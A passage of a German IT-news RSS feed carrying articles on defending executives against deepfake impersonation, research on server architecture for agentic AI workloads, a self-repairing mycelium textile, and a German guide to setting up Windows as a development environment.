<p class="wp-block-paragraph">The third is measurement. Very few security teams can currently tell their board how prepared they actually are for this category of risk, because the tabletop exercises that would surface the gaps are still rare. Boards are starting to ask the question anyway, often after reading about another company’s incident rather than their own, and a security leader without a rehearsed answer is at a real disadvantage in that conversation.</p>



<p class="wp-block-paragraph">Back to that CFO on the video call. What saved him was not a tool. It was a habit, built well before the attack, of treating a hesitation as reason enough to stop. That is still the most reliable control available, and it will remain the most reliable control until the rest of this framework catches up to it.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Agentic AI could force a rethink of enterprise AI server design, researchers say]]></title>
<description><![CDATA[Enterprises deploying agentic AI may need a new generation of AI servers as conventional GPU-centric infrastructure struggles to efficiently execute multi-step AI workflows, according to researchers from Microsoft Azure and the University of Texas at Austin.



Drawing on production telemetry fro...]]></description>
<link>https://tsecurity.de/de/3709697/it-security-nachrichten/agentic-ai-could-force-a-rethink-of-enterprise-ai-server-design-researchers-say/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3709697/it-security-nachrichten/agentic-ai-could-force-a-rethink-of-enterprise-ai-server-design-researchers-say/</guid>
<pubDate>Fri, 07 Aug 2026 11:25:53 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Enterprises deploying agentic AI may need a new generation of AI servers as conventional GPU-centric infrastructure struggles to efficiently execute multi-step AI workflows, according to researchers from Microsoft Azure and the University of Texas at Austin.</p>



<p class="wp-block-paragraph">Drawing on production telemetry from Microsoft’s Azure cloud and experiments with representative open-source agent frameworks, the researchers found that AI agents spend far more time coordinating models, tools, and orchestration software than conventional inference systems assume. </p>



<p class="wp-block-paragraph">Rather than behaving like standalone LLM requests, agentic applications execute as dynamic workflows that repeatedly move work between CPUs, GPUs, and external services, exposing inefficiencies in today’s server designs.</p>



<p class="wp-block-paragraph">“Our study shows that agentic execution is fundamentally fragmented and heterogeneous,” the researchers <a href="https://arxiv.org/pdf/2608.04458">wrote</a> in the paper. “Each request expands into a workflow of LLM inferences, tool invocations, and orchestration decisions that repeatedly crosses the CPU-GPU boundary.”</p>



<p class="wp-block-paragraph">According to the paper, that execution pattern places the CPU on the application’s critical path because orchestration software and tools execute on the host while model inference runs on GPUs.</p>



<p class="wp-block-paragraph">The researchers said conventional server architectures are poorly matched to those workloads because fragmented execution strands CPU and GPU resources, different host-side software roles have different resource requirements, and multiplexing multiple agents increases coordination overhead.</p>



<h2 class="wp-block-heading">Production data points to fragmented execution</h2>



<p class="wp-block-paragraph">The researchers said a representative production request alternated between multiple LLM calls, tool discovery, tool execution, and orchestration before completing. In a controlled study using the CORAL framework, a single workload expanded into 580 LLM calls interleaved with 552 tool invocations, causing execution to “ping-pong between the two processors hundreds of times.”</p>



<p class="wp-block-paragraph">The study also found that host CPU utilization remained low for extended periods before rising sharply during bursts of tool execution, while GPU utilization varied widely depending on workflow composition, leaving some accelerators saturated and others idle.</p>



<p class="wp-block-paragraph">According to the researchers, the fragmented execution pattern leaves CPUs and GPUs underutilized on average while allowing either processor to become “a transient bottleneck on the workflow’s critical path,” making static resource provisioning inefficient for agentic workloads.</p>



<p class="wp-block-paragraph">Sanchit Vir Gogia, chief analyst at Greyhound Research, said the findings show enterprises should evaluate agentic AI infrastructure differently from conventional inference deployments.</p>



<p class="wp-block-paragraph">“Agentic AI is not a bigger chatbot; it is a distributed application with inference embedded inside it,” Gogia said. “The individual ingredients are familiar. The execution graph is new.”</p>



<p class="wp-block-paragraph">“The GPU remains indispensable, but it no longer owns the entire clock,” he added. “Tool time matched or beat inference time in more than 27 per cent of requests, and average utilisation is beginning to lie to infrastructure teams.”</p>



<h2 class="wp-block-heading">Researchers propose workflow-aware server design</h2>



<p class="wp-block-paragraph">Based on those findings, the researchers proposed a server architecture, called Agora, that dynamically reallocates CPU and GPU resources, separates scheduling, orchestration, and tool execution into dedicated host roles, and adapts resource allocation to workload behavior.</p>



<p class="wp-block-paragraph">“Agora dynamically harvests idle CPU cores for co-located throughput work, while protecting agentic tail latency against tool spikes. It also oversubscribes GPU memory by placing more agents on each GPU, prefetching the next agent’s state to hide swap latency,” the researchers wrote in the paper. “To match the machine to the heterogeneous roles, Agora pools cores by role and applies affinity-aware scheduling to restore locality. These techniques substantially improve CPU and GPU utilization and per-server throughput while preserving agent tail latency.”</p>



<p class="wp-block-paragraph">In their evaluation, the researchers reported that Agora increased host CPU utilization by about 30%, recovered about 95% of a co-located workload’s standalone throughput under low load, freed roughly one-third of GPUs through workload consolidation, increased generation throughput by 82%, and reduced tail latency by 2.5 times.</p>



<p class="wp-block-paragraph">Gogia said the findings indicate that infrastructure procurement should focus less on individual processors and more on how entire AI workflows execute.</p>



<p class="wp-block-paragraph">“The CPU is not returning to the throne; the throne itself is disappearing,” he said. “Competitive advantage is moving from the individual processor to the heterogeneous server, rack and runtime operating as one system.” He said organizations should “procure the workflow, not the box,” arguing that workload profiling and scheduling are likely to deliver greater benefits than sizing infrastructure based on model inference alone.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Dress Made of Living Mycelium Can Renew and Repair Itself]]></title>
<description><![CDATA[Researchers in China have developed a living mycelium textile that can self-clean, renew its surface, and partially repair holes when treated with a nutrient solution and fresh fungus. The material can also gain added properties such as blue pigmentation or UV resistance by co-culturing it with y...]]></description>
<link>https://tsecurity.de/de/3709665/it-security-nachrichten/dress-made-of-living-mycelium-can-renew-and-repair-itself/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3709665/it-security-nachrichten/dress-made-of-living-mycelium-can-renew-and-repair-itself/</guid>
<pubDate>Fri, 07 Aug 2026 11:25:25 +0200</pubDate>
<content:encoded><![CDATA[Researchers in China have developed a living mycelium textile that can self-clean, renew its surface, and partially repair holes when treated with a nutrient solution and fresh fungus. The material can also gain added properties such as blue pigmentation or UV resistance by co-culturing it with yeast or other fungi. Dezeen reports: The breakthrough from the researchers at the Shenzhen Institutes of Advanced Technology is a type of engineered living material (ELM) -- a material built off living organisms that stay active even after they're fabricated into their final form. [...] By working with living but dormant cordyceps militaris fungus instead, the researchers have been able to take advantage of its biological functions. The result is a material that is self-renewing and responsive to its environment, in ways that could one day transform architecture and clothing -- as seen in a prototype dress created together with material innovation company Peelshere.
 
It can also be adapted by mixing in other fungi or yeast, lead researcher Ke Li and her team detail in a paper in the peer-reviewed journal Science Advances. In it, they describe a "programmable fungal platform" where mycelium is treated like a modular system, with the sheet material forming a base structure and extra biological abilities, such as colour and UV resistance, becoming "plug-and-play" add-ons via other organisms. This gets their textile closer to the self-repair, environmental responsiveness and controllable functionality that is the promise of engineered living materials, they argue.
 
The ELM's self-renewing and semi-repairing functionality comes from the mycelium base structure. Following drying at 45 degrees, the material is not quite living and not quite dead, but instead in a "low-metabolic, dormant-like state", Li told Dezeen, meaning it is not actively growing. However, new growth can be triggered by applying a nutrient solution of potato water, leading the dormant mycelium to germinate, send out new fungal filaments and renew the material's surface. When this nutrient solution is applied over a hole, along with a small patch of fresh fungus, it triggers the living cells to grow across the gap, seamlessly repairing the surface without any adhesives or stitching. The material is also naturally self-cleaning, as it is hydrophobic. "Its distinctive surface texture, biological colouring, controlled repair and biodegradability may be particularly useful in applications where visual expression and a defined product lifetime are important," said Li.
 
"Further improvements in durability, moisture resistance, safety and manufacturing consistency would be needed before it could be considered for routine clothing or permanent architectural use."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Dress+Made+of+Living+Mycelium+Can+Renew+and+Repair+Itself%3A+https%3A%2F%2Fscience.slashdot.org%2Fstory%2F26%2F08%2F06%2F2210253%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fscience.slashdot.org%2Fstory%2F26%2F08%2F06%2F2210253%2Fdress-made-of-living-mycelium-can-renew-and-repair-itself%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://science.slashdot.org/story/26/08/06/2210253/dress-made-of-living-mycelium-can-renew-and-repair-itself?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Deepfakes are targeting your executives. Here’s what actually works]]></title>
<description><![CDATA[Two years ago, I sat across from a chief financial officer who had just spent forty minutes on a video call authorizing what he believed was a legitimate acquisition payment. The call included his CEO and two board members, all speaking in familiar voices, all making the kind of small unscripted ...]]></description>
<link>https://tsecurity.de/de/3709644/it-nachrichten/deepfakes-are-targeting-your-executives-heres-what-actually-works/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3709644/it-nachrichten/deepfakes-are-targeting-your-executives-heres-what-actually-works/</guid>
<pubDate>Fri, 07 Aug 2026 11:25:14 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Two years ago, I sat across from a chief financial officer who had just spent forty minutes on a video call authorizing what he believed was a legitimate acquisition payment. The call included his CEO and two board members, all speaking in familiar voices, all making the kind of small unscripted comments that make a meeting feel real. None of them were real. The audio had been cloned from earnings call recordings, and the video was built from conference footage pulled off YouTube.</p>



<p class="wp-block-paragraph">What gave it away wasn’t a glitch or a blurred hand. It was a pause. The CFO asked about a side conversation from the previous week that only the real CEO would have known, and the voice on the other end hesitated half a second too long before answering. That hesitation stopped a seven-figure transfer.</p>



<p class="wp-block-paragraph">It also taught me something I have carried into every engagement since. Executive impersonation has moved from a theoretical AI risk category into an active enterprise security problem, and detection and response capability lags materially behind attacker capability.</p>



<h2 class="wp-block-heading"><a></a>The detection tooling gap</h2>



<p class="wp-block-paragraph">When clients ask me what to buy first, I tell them to slow down. The tooling landscape for synthetic media is real, but it is not mature, and treating it as solved creates false confidence at exactly the moment confidence gets tested.</p>



<p class="wp-block-paragraph">Audio and video forensics tools scan a file after the fact for artifacts synthetic generation tends to leave behind. They are genuinely useful in a post-incident review, where there is time to run deeper analysis. They are far less useful in the middle of a live call, where a decision has to get made in seconds rather than hours.</p>



<p class="wp-block-paragraph">Liveness detection tries to solve that timing problem by checking for signs of life during the interaction itself, rather than analyzing a file afterward. The trouble is that these systems were mostly built for identity verification at onboarding, a single controlled check at a fixed point in time. Retrofitting them into an unplanned executive call is still mostly aspirational, and most vendors will tell you the same thing privately even while marketing otherwise.</p>



<p class="wp-block-paragraph">The MITRE ATLAS knowledge base, which catalogs real-world adversarial attacks against AI systems, now documents deepfake-based identity verification bypass as an<a href="https://atlas.mitre.org/studies/AML.CS0034"> established attack pattern</a> rather than an edge case. That matters for CISOs because it confirms this is not a hypothetical gap security vendors invented to sell tools. It is a documented technique with case studies attached.</p>



<p class="wp-block-paragraph">What senior executives specifically need, and what the market still doesn’t reliably offer, is verification that works in the moment a request is made rather than after the fact. Until that exists at scale, the tooling has to sit inside a broader protocol rather than stand in for one.</p>



<h2 class="wp-block-heading"><a></a>A framework enterprise teams can deploy now</h2>



<p class="wp-block-paragraph">Tooling alone will not close this gap, so the operational framework matters more than any single product. Here is what I put in place with clients, organized around five actions.</p>



<ol class="wp-block-list">
<li><strong>Verify. </strong>Multi-factor human verification for executive-level communications means more than a callback. It means a pre-agreed authentication phrase for the small circle of people who can approve high-sensitivity or high-value actions, changed on a schedule and never guessable from a public LinkedIn bio. It means out-of-band confirmation as a hard requirement, not a courtesy, for any request involving money, credentials or a change to standing instructions. I watched this stop an attack outright. A caller using a cloned voice of an executive asked a colleague for help with a confidential wire. The colleague asked for the agreed phrase, and the line went dead within seconds.</li>



<li><strong>Detect. </strong>This is not about buying a detection tool. It is about continuously monitoring the executive’s digital identity surface before an attacker even builds the deepfake. That includes tracking domain squatting on the executive’s name, watching for social profile impersonation, and knowing where voice samples are already sitting in public conference recordings and podcast appearances that an attacker could pull from tomorrow. Most security teams monitor the network. Very few monitor the raw material an attacker needs to build a convincing fake in the first place.</li>



<li><strong>Respond. </strong>When an impersonation attempt is identified or succeeds, the response playbook needs to specify who freezes a transaction, who pulls the call recording before it disappears, and who brings in forensics immediately so there is a documented basis for every decision that follows. It needs a defined escalation path that does not depend on the target believing something is wrong, because most executives will not report a strange call themselves. Build the reporting habit around the transaction, not the suspicion.</li>



<li><strong>Train. </strong>Executive protection training has to include impersonation awareness now, and not just for the executive. Assistants, chiefs of staff and family office contacts are frequently the actual point of contact an attacker targets, since they often have more standing authority to approve something quickly than the executive expects them to use. This has to be a working habit, not a slide deck people sit through once a year.</li>



<li><strong>Integrate. </strong>Executive impersonation cannot sit inside a single team’s silo. It needs coordination between security operations, communications, legal and executive protection, because a voice clone built from a podcast appearance does not touch a single system any one of those functions monitors on its own.<a href="https://www.csoonline.com/article/3982379/deepfake-attacks-are-inevitable-cisos-cant-prepare-soon-enough.html"> A CSO Online feature on deepfake defense</a> documented an almost identical wire fraud case and reached a similar conclusion that the organizations recovering fastest were the ones that had already rehearsed the coordination across teams before an incident forced it.</li>
</ol>



<h2 class="wp-block-heading"><a></a>Where the market hasn’t caught up</h2>



<p class="wp-block-paragraph">Even programs built around all five of those actions still run into gaps that no enterprise has fully closed.</p>



<p class="wp-block-paragraph">The first is the personal exposure gap. Most protocols assume the target is inside a corporate communication channel. Attackers are increasingly working the other direction, reaching family members or personal devices where none of the corporate verification steps apply at all.</p>



<p class="wp-block-paragraph">The second is the public-facing gap. Livestreams of major corporate events have been hijacked by deepfakes of the company’s own executives, often promoting cryptocurrency scams, with fake feeds sometimes drawing sizeable audiences before takedown. That is not an internal fraud scenario a SOC playbook was built for. It is a brand and platform-level impersonation that needed coordination with a video platform in real time, and almost nobody has that relationship pre-built. The security team needing to reach a platform’s off-hours trust and safety escalation path in the middle of a live event is functionally starting from zero every time, and the incident is often over by the time the right internal owner on the platform side is even identified.</p>



<p class="wp-block-paragraph">The third is measurement. Very few security teams can currently tell their board how prepared they actually are for this category of risk, because the tabletop exercises that would surface the gaps are still rare. Boards are starting to ask the question anyway, often after reading about another company’s incident rather than their own, and a security leader without a rehearsed answer is at a real disadvantage in that conversation.</p>



<p class="wp-block-paragraph">Back to that CFO on the video call. What saved him was not a tool. It was a habit, built well before the attack, of treating a hesitation as reason enough to stop. That is still the most reliable control available, and it will remain the most reliable control until the rest of this framework catches up to it.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Wie Windows zur Entwicklungsumgebung wird]]></title>
<description><![CDATA[Windows-Maschine und Developer-„Flow“ gehen gut zusammen – ein paar Kniffe vorausgesetzt.Dragon Images | shutterstock.com



Als Umgebung für Entwickler hat Microsoft Windows in den letzten Jahren einen Sprung nach vorne gemacht. Mit dem Windows-Subsystem für Linux (WSL) ist es nahtlos möglich, m...]]></description>
<link>https://tsecurity.de/de/3709505/it-security-nachrichten/wie-windows-zur-entwicklungsumgebung-wird/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3709505/it-security-nachrichten/wie-windows-zur-entwicklungsumgebung-wird/</guid>
<pubDate>Fri, 07 Aug 2026 06:32:07 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Dragon-Images_shutterstock_401334922_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Dev Coding Speed 16z9" class="wp-image-4202220" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Windows-Maschine und Developer-„Flow“ gehen gut zusammen – ein paar Kniffe vorausgesetzt.</figcaption></figure><p class="imageCredit">Dragon Images | shutterstock.com</p></div>



<p class="wp-block-paragraph">Als Umgebung für Entwickler hat Microsoft Windows in den letzten Jahren einen Sprung nach vorne gemacht. Mit dem Windows-Subsystem für Linux (<a href="https://www.computerwoche.de/article/2856740/windows-10-subsystem-fuer-linux-wsl-einrichten.html" target="_blank">WSL</a>) ist es nahtlos möglich, mit Linux unter Windows zu arbeiten – ohne den Mehraufwand, den eine virtuelle Maschine (<a href="https://www.computerwoche.de/article/2814705/was-sind-virtual-machines.html" target="_blank">VM</a>) mit sich bringt. Zudem sind sämtliche gängigen Dev-Tools als native Windows-Versionen verfügbar – und Microsoft hat eine ganze Reihe entsprechender Funktionen auch direkt in sein Betriebssystem <a href="https://blogs.windows.com/windowsdeveloper/2026/06/02/build-2026-furthering-windows-as-the-trusted-platform-for-development/">integriert</a>.</p>



<p class="wp-block-paragraph">Für Developer, die besonders schnell mit einer Windows-Maschine entwickeln wollen, hat Microsoft mit der „<a href="https://github.com/microsoft/WindowsDeveloperConfig/" target="_blank" rel="noreferrer noopener">Windows Developer Config</a>“ sogar so etwas wie eine Schnellspur geschaffen: Diese Sammlung von Powershell-Skripten fungiert als eine Art „Starter Kit“ und unterstützt dabei, Windows-Systeme möglichst schnell und komfortabel als Entwicklungsumgebung einzurichten. </p>



<p class="wp-block-paragraph">Wenn Sie hingegen – wie <a href="https://www.computerwoche.de/article/2818958/was-developer-an-ihrem-job-lieben-und-hassen.html" target="_blank">die meisten Entwickler</a> – Wert darauflegen, die Kontrolle zu behalten und Ihr Dev-System selbst einzurichten und zu konfigurieren, ist ein bisschen Vorarbeit nötig. Der Aufwand selbst ist dabei überschaubar, die konkreten Schritte sind jedoch erfolgsentscheidend (und nicht unbedingt offensichtlich).   </p>



<p class="wp-block-paragraph"><strong>Hinweis:</strong> Um die nachfolgenden Maßnahmen umzusetzen, sollten Sie auf Ihrem System über Administratorrechte verfügen.</p>



<h2 class="wp-block-heading">1. WSL installieren</h2>



<p class="wp-block-paragraph">WSL stellt Windows-Benutzern ein vollständiges Linux-System über die Kommandozeile zur Verfügung – was weniger Overhead verursacht als eine VM. Da Software weltweit vor allem unter <a href="https://www.computerwoche.de/article/3614492/die-wichtigsten-linux-befehle-fur-einsteiger.html" target="_blank">Linux</a>– oder Unix-ähnlichen Systemen wie macOS entwickelt wird, ist das ein echter Vorteil. </p>



<p class="wp-block-paragraph">Um WSL zu installieren, öffnen Sie ein Konsolenfenster mit Administratorrechten und nutzen den Befehl:</p>



<pre class="wp-block-code"><code><code>wsl --install</code></code></pre>



<p class="wp-block-paragraph">Die Installation kann einige Zeit in Anspruch nehmen, da das System sowohl die Kernkomponenten für WSL als auch – damit zusammenhängend – eine Linux-Distribution herunterladen muss. </p>



<p class="wp-block-paragraph">Die Standard-Linux-Distribution in WSL ist <strong>Ubuntu 26.04 LTS</strong>. Diese erfüllt als Default-Lösung die meisten Anforderungen, die Entwickler an eine Linux-Distribution stellen. Es stehen jedoch auch andere Distributionen zur Verfügung – und es kommen regelmäßig neue hinzu. Sie könnten sogar Ihre eigene, <a href="https://learn.microsoft.com/de-de/windows/wsl/build-custom-distro">benutzerdefinierte Linux-Distribution für WSL</a> kreieren.</p>



<p class="wp-block-paragraph">Sobald WSL installiert ist, können Sie über den Befehl wsl –list –online alle verfügbaren Distributionen anzeigen. Um eine davon zu installieren, nutzen Sie den Befehl <code>wsl --install </code>. Die meisten verfügbaren Optionen sind auf unterschiedliche Vorlieben oder spezifische Anforderungen zugeschnitten. Wenn Sie beispielsweise an einem Projekt arbeiten, das Debian als Grundlage voraussetzt, sollten Sie das auch installieren.</p>



<p class="wp-block-paragraph">WSL-Distributionen werden standardmäßig im <code>AppData</code>-Verzeichnis abgelegt – genauer gesagt unter <code>AppData\Local\Packages\</code>. Wenn Sie die Dateien in ein anderes Verzeichnis oder auf ein anderes Laufwerk verschieben möchten, können Sie das mit dem Befehl <code>wsl --manage  --move </code> bewerkstelligen.</p>



<p class="wp-block-paragraph">Darüber hinaus hat Microsoft Ende Juni 2026 mit <a href="https://devblogs.microsoft.com/commandline/wsl-container-is-now-available-for-public-preview/" target="_blank" rel="noreferrer noopener">WSL-Container</a> (derzeit in der Public Preview) eine wichtige neue Funktion für WSL vorgestellt. Diese ermöglicht es, Linux-Container nativ unter Windows auszuführen.</p>



<h2 class="wp-block-heading">2. Dev-Drive-Laufwerk konfigurieren</h2>



<p class="wp-block-paragraph">Um Projekte zu speichern, nutzen die meisten Windows-Benutzer standardmäßig ein Verzeichnis auf einem NTFS-Volume – entweder im eigenen Benutzerprofil oder über einen anderen Pfad. Das ist als Default-Option keine schlechte Wahl. Allerdings gibt es bessere Alternativen.</p>



<p class="wp-block-paragraph">Zum Beispiel „<a href="https://learn.microsoft.com/de-de/windows/dev-drive/" target="_blank" rel="noreferrer noopener">Dev Drive</a>“, ein neuer Laufwerkstyp unter Windows. Dieser nutzt statt NTFS das neuere Dateisystem <a href="https://learn.microsoft.com/de-de/windows-server/storage/refs/refs-overview" target="_blank" rel="noreferrer noopener">ReFS</a> („Resilient File System“). Dieses wurde ursprünglich für Windows Server entwickelt und bietet Funktionen, die darauf ausgelegt sind, Softwareentwicklungs-Workloads besser zu bewältigen. Dazu gehören:  </p>



<ul class="wp-block-list">
<li><strong>Copy-on-Write: </strong>Projektverzeichnisse können Tausende von Dateien und Dutzende von Unterverzeichnissen enthalten. Kopien von Projekten dieser Art anzufertigen, lässt sich mit ReFS deutlich schneller bewältigen, da das Dateisystem Kopien von Daten erst dann erstellt, wenn diese auch <em>geändert</em> werden. Reine Kopien sind hingegen Links, die auf die Originale verweisen.</li>



<li><strong>Antivirus-Komfort:</strong> Über einen Dev Drive lassen sich die standardmäßigen Beeinträchtigungen durch die nativen Antivirus-Tools von Windows minimieren. Dieses Feature erlaubt es, Entwicklerverzeichnisse manuell von Scan-Vorgängen zu exkludieren.</li>



<li><strong>Virtuelle Festplatte oder Partition:</strong> Dev Drives können als virtuelle Festplattendatei eingerichtet oder direkt auf einer formatierten Partition genutzt werden. Ersteres ist flexibler (unter anderem lässt sich die Größe leichter anpassen), Letzteres möglicherweise performanter.</li>
</ul>



<p class="wp-block-paragraph">Zwei Dinge sollten Sie im Zusammenhang mit Dev Drives unbedingt beachten:</p>



<ol class="wp-block-list">
<li><strong>Dev Drives sind für Projekte gedacht, nicht für Tools:</strong> Dort legen Sie Ihre Projekt-Repositories, Build-Artefakte und zwischengespeicherte Dateien ab. Language Runtimes, <a href="https://www.computerwoche.de/article/4152349/so-wird-ki-zum-compiler.html" target="_blank">Compiler</a> oder anderen Toolchain-Utlities sollten hingegen auf regulären NTFS-Volumes gespeichert werden.</li>



<li><strong>Low-Level-Tools funktionieren unter Umständen nicht wie beabsichtigt:</strong> Dateisystem-Utilities auf Expertenniveau, die Informationen direkt aus den Dateiinformationen auslesen, verhalten sich im Zusammenspiel mit ReFS-Volumes möglicherweise nicht wie vorgesehen. So ist etwa das Speicherplatz-Management-Tool <a href="https://wize-tree.com/" target="_blank" rel="noreferrer noopener">WizTree</a> unter ReFS extrem langsam.</li>
</ol>



<h2 class="wp-block-heading">3. WinGet nutzen</h2>



<p class="wp-block-paragraph">Microsoft hat Windows inzwischen auch mit einem offiziellen Package-Management-System ausgestattet – WinGet. Dieses installiert jede Art von <a href="https://www.computerwoche.de/article/2824356/26-softwareperlen-fuer-windows-pcs.html" target="_blank">Windows-Applikation</a> und bietet zudem ein vollständiges Befehlszeilen-Interface für Interaktion und Automatisierung.    </p>



<p class="wp-block-paragraph">WinGet wird vom Windows-Software-Ökosystem umfassend unterstützt – die Wahrscheinlichkeit ist also groß, dass es für jedes Windows-Programm, das Sie benötigen, ein WinGet-Paket gibt (dazu gleich mehr).</p>



<p class="wp-block-paragraph">Um im WinGet-Repository nach einem Paket zu suchen, nutzen Sie diesen Befehl (die Anführungszeichen sind erforderlich, wenn der Name des gesuchten Pakets Leerzeichen enthält – etwa Adobe Acrobat Reader):</p>



<pre class="wp-block-code"><code><code>winget search "Thing to search for"</code></code></pre>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/image_481.png" alt="WinGet search output" class="wp-image-4196911" width="978" height="205" sizes="auto, (max-width: 978px) 100vw, 978px"><figcaption class="wp-element-caption">Der Output von WinGet bei der Suche nach dem Begriff „Acrobat“. Die „ID“-Spalte gibt den Namen aus, der mit dem Winget-Installationsbefehl zu verwenden ist.</figcaption></figure><p class="imageCredit">Foundry</p></div>



<p class="wp-block-paragraph">Das WinGet-Package zu installieren, geht denkbar simpel von der Hand – und zwar mit:</p>



<pre class="wp-block-code"><code><code>winget install </code></code></pre>



<p class="wp-block-paragraph">Dabei meint <code></code> die ID des zu installierenden Pakets – nicht bloß seinen Namen. Im vorgenannten Beispiel (Adobe Acrobat Reader) würden Sie also folgenden Befehl nutzen, um dieses zu installieren:</p>



<pre class="wp-block-code"><code><code>winget install Adobe.Acrobat.Reader.64-bit</code></code></pre>



<p class="wp-block-paragraph">Falls Sie eine ansprechende grafische Benutzeroberfläche suchen, empfiehlt sich ein Blick auf <a href="https://devolutions.net/unigetui/" target="_blank" rel="noreferrer noopener">UniGetUI</a>. Dieses Tool verwaltet Packages aus verschiedenen Quellen – etwa WinGet, Scoop, Chocolatey, npm, pip oder Cargo, um nur einige zu nennen.</p>



<h2 class="wp-block-heading">4. PowerShell für Skripte konfigurieren</h2>



<p class="wp-block-paragraph">Dieser Schritt ist lediglich einmal pro System zu absolvieren, kann jedoch die <a href="https://www.computerwoche.de/article/2834060/10-wege-zur-besseren-developer-experience.html" target="_blank">Entwicklererfahrung</a> von Windows gewaltig steigern: PowerShell sollte entsprechend konfiguriert werden, damit lokale Skripte ausgeführt werden können.   </p>



<p class="wp-block-paragraph">Um das zu bewerkstelligen, starten Sie PowerShell als Admin und nutzen folgendes Kommando:</p>



<pre class="wp-block-code"><code>set-executionpolicy remotesigned</code></pre>



<p class="wp-block-paragraph">Zwar verlangt Windows weiterhin, dass alle PowerShell-Skripte, die Sie aus dem Internet herunterladen, signiert sind – das ist jedoch im Grunde ein Edge Case. Alle lokal erstellten Skripte funktionieren nach dieser Maßnahme ohne Weiteres.</p>



<h2 class="wp-block-heading">5. Weitere Dev-Tools installieren</h2>



<p class="wp-block-paragraph">Wie bereits erwähnt, bietet WinGet schnellen Zugriff auf alle gängigen Tools, die ein entwicklungsorientiertes Windows-System benötigt. Nachfolgend haben wir eine kleine Übersicht der wichtigsten Dev-Tools für Windows inklusive deren WinGet-IDs zusammengestellt, um Ihnen die Installation zu erleichtern.</p>



<ul class="wp-block-list">
<li><strong>Git (</strong><code>Git.Git</code><strong>):</strong> Die Windows-Version des populären Versionskontrollsystems ist im Wesentlichen identisch mit der auf anderen Plattformen.</li>



<li><strong>Visual Studio BuildTools 2022 (</strong><code>Microsoft.VisualStudio.2022.BuildTools</code><strong>):</strong> Dieses minimale CLI-Tooling ist erforderlich, um das C/C++-Kompilierungssystem von Visual Studio zu nutzen.</li>



<li><strong>CMake (</strong><code>Kitware.Cmake</code><strong>):</strong> Die plattformübergreifende Build-Lösung wird häufig für größere oder komplexere Projekte benötigt, die C/C++ nutzen.</li>
</ul>



<p class="wp-block-paragraph">Dabei ist zu beachten, dass die standardmäßige BuildTools-Installation in der Regel nicht über die Tools verfügt, die für minimale C/C++-Build-Prozesse erforderlich sind. Das beheben Sie mit folgendem Befehl:</p>



<pre class="wp-block-code"><code>winget install -e --id Microsoft.VisualStudio.2022.BuildTools --force --override "--passive --wait --add Microsoft.VisualStudio.Workload.VCTools;includeRecommended"</code></pre>



<p class="wp-block-paragraph">Alle gängigen Editoren sind ebenfalls als native Windows-Apps über WinGet verfügbar – etwa:</p>



<ul class="wp-block-list">
<li><strong><a href="https://www.computerwoche.de/article/4199279/visual-studio-code-hat-ein-ki-problem.html" target="_blank">Microsoft Visual Studio Code</a></strong> (<code>Microsoft.VisualStudioCode</code>),</li>



<li><strong>GNU Emacs</strong> (<code>GNU.Emacs</code>), oder</li>



<li><strong>Neovim</strong> (<code>Neovim.Neovim</code>).</li>
</ul>



<p class="wp-block-paragraph">Für die Softwareentwicklung unter Windows optional, aber durchaus nützlich, sind außerdem folgende Werkzeuge:</p>



<ul class="wp-block-list">
<li><strong>CoreUtils for Windows (</strong><code>Microsoft.Coreutils</code><strong>):</strong> Ein von Microsoft gepflegtes Open-Source-Projekt, das <a href="https://github.com/microsoft/coreutils">Dutzende von Linux-Befehlszeilen-Dienstprogrammen</a> auf Windows bringt, beispielsweise cp, grep, find und ls.</li>



<li><strong>MSYS2 (</strong><code>MSYS2.MSYS2</code><strong>):</strong> Eine Tool-Sammlung, um Windows-Binärdateien mit dem GCC-Compiler zu erstellen. Diese bildet im Grunde eine Alternative zum Visual-Studio-Build-Stack auf Basis der <a href="https://cygwin.com/" target="_blank" rel="noreferrer noopener">Cygwin</a>-Umgebung.</li>



<li><strong>LLVM (</strong><code>LLVM.LLVM</code><strong>):</strong> Auf diesem Compiler-Framework basieren Clang, Rust, Swift und viele andere Projekte. Wenn Sie <a href="https://www.computerwoche.de/article/2826586/was-ist-llvm.html" target="_blank">LLVM</a> als Abhängigkeit verwenden, müssen Sie die spezifische Version installieren, die Ihr Projekt erfordert.</li>



<li><strong>Docker Desktop (</strong><code>XP8CBJ40XLBWKX</code><strong>):</strong> Die Windows-native Version der Docker-Desktop-App.</li>



